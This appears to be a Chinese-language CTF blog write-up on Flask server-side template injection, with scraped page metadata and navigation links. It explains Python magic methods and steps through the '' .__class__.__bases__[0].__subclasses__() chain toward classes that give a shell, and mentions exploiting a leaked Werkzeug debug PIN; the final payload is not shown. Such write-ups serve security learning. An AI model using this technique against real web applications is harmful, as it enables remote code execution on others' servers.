flask ssti
type
status
date
slug
tags
summary
category
icon
password
泄露pin码,访问console可以直接用python代码了
flask ssti
flask框架中如果存在类似如下代码:(带有{}或者%s之类的,如果是{{}}那么已经被转移则不会被攻击)
那么恶意代码可以注入产生执行
魔术方法
__class__
:用于返回对象所属的类__base__
:以字符串的形式返回一个类所继承的类__bases__
:以元组的形式返回一个类所继承的类__mro__
:返回解析方法调用的顺序,按照子类到父类到父父类的顺序返回所有类__subclasses__()
:获取类的所有子类__init__
:所有自带带类都包含init方法,常用他当跳板来调用globals__globals__
:会以字典类型返回当前位置的全部模块,方法和全局变量,用于配合init使用POC构造
先浅浅看一下具体怎么样能打:
如果是%s那么
和{}.format,似乎是一样的,都是{{}}
那么现在拿到
第一步:
==目的:使用
__class__
来获取内置类所对应的类==可以通过使用
str
,list
,tuple
,dict
等来获取>>>
''
.
__class__
#<class 'str'>
>>>().
__class__
#<class 'tuple'>
>>>[].
__class__
#<class 'list'>
>>>{}.
__class__
#<class 'dict'>
第二步:
==目的:拿到
object
基类==- 用
__bases__[0]
拿到基类:
>>>
''
.
__class__
.
__bases__
[0]<class
'object'>
- 用
__base__
拿到基类:
>>>
''
.
__class__
.
__base__
#<class 'object'>
- 用
__mro__[1]
或者__mro__[-1]
拿到基类:
>>>
''
.
__class__
.
__mro__
[1]
#<class 'object'>
>>>
''
.
__class__
.
__mro__
[-1]
#<class 'object'>
第三步:
==目的:用
__subclasses__()
拿到子类列表==>>>
''
.
__class__
.
__bases__
[0].
__subclasses__
()
#...一大堆的子类
第四步:
==目的:在子类列表中找到可以getshell的类==
先知晓一些可以getshell的类,然后再去跑这些类的索引,原理是先遍历所有子类,然后再遍历子类的方法的所引用的东西,来搜索是否调用了我们所需要的方法
那么来看看这题
首先扫出来console,访问发现是python的debug,然后有意料之外发现id的注入点
输入这个
''
.
__class__
.
__bases__
[0].
__subclasses__
()
拿到:
跑出来直接发就行:
上一篇
php反序列化
下一篇
das202308-出题
Loading...